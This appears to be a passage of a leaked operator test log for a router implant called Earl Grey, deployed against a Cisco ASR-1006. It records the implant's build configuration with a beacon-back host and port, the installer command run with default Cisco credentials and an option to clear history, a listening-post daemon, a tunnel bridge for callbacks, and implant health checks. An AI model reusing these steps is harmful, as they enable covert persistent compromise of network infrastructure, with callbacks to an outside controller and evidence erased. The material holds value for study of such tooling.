        Implant Health Status:
        Uptime: 77344 seconds
        Redir: Not Running
        Survey: Not Running

      • Sending health status again hangs as the implant successfully uninstalled.

    • On Builder: Did a "make clean release" with the following config.h:
      •  CLIENT_LOCAL_BEACON_PORT set to "0" so that it would chose a high port
      • LP_DEFAULT_IMPLANT_PORT 8080      // Port to beacon back to web host
      • LP_HOST1 "XX.XX.X.XXX (HURRICANE-9[US])"                 // web host
    • From ICON1: (Reinstall; beacon back through web:8080)

      scp -rp root@172.20.12.105:/home/eg-build/earl-grey-1.0.1/earl-grey-1.0.1/build/release /home/user1

    • Made a bridge on Flux web host to bridge 8080 > 8080 to send the beacon back through the tunnel to ICON Desktop

    • root@debian:/home/user1/release# python earlgrey_installer.py XX.XX.X.XX (HURRICANE-9[US]) cisco cisco password ASR-1006 ./test_log101 c2_manager clear_exp_history

    • Start ./lp_daemon in seperate window on ICON1

    • root@debian:/home/user1/release# ./lp -T XX.XX.X.XX (HURRICANE-9[US]) -n
      Using loop-back address to connect to server daemon
      Using default port, 4444, to connect to server daemon
      Implant Health Status:
      Uptime: 162 seconds
      Redir: Not Running
      Survey: Not Running

      • Wireshark on admin box shows SNMPSimple Network Management Protocol get request to target XX.XX.X.XX (HURRICANE-9[US])

      • TCPDump on web host shows random high ports going to 8080 on web host

With EGEarl Grey (Project name) installed on target, make a new release and try to implant target again

  • Make a new release from eg-build and transfer to ICON1 VM
  • Ran attack from ICON:
    • root@debian:/home/user1/release# python earlgrey_installer.py XX.XX.X.XX (HURRICANE-9[US]) cisco cisco password ASR-1006 ./test_log101 c2_manager clear_exp_history

 

 

 

 

e-Highlighter

Click to send permalink to address bar, or right-click to copy permalink.

Un-highlight all Un-highlight selectionu Highlight selectionh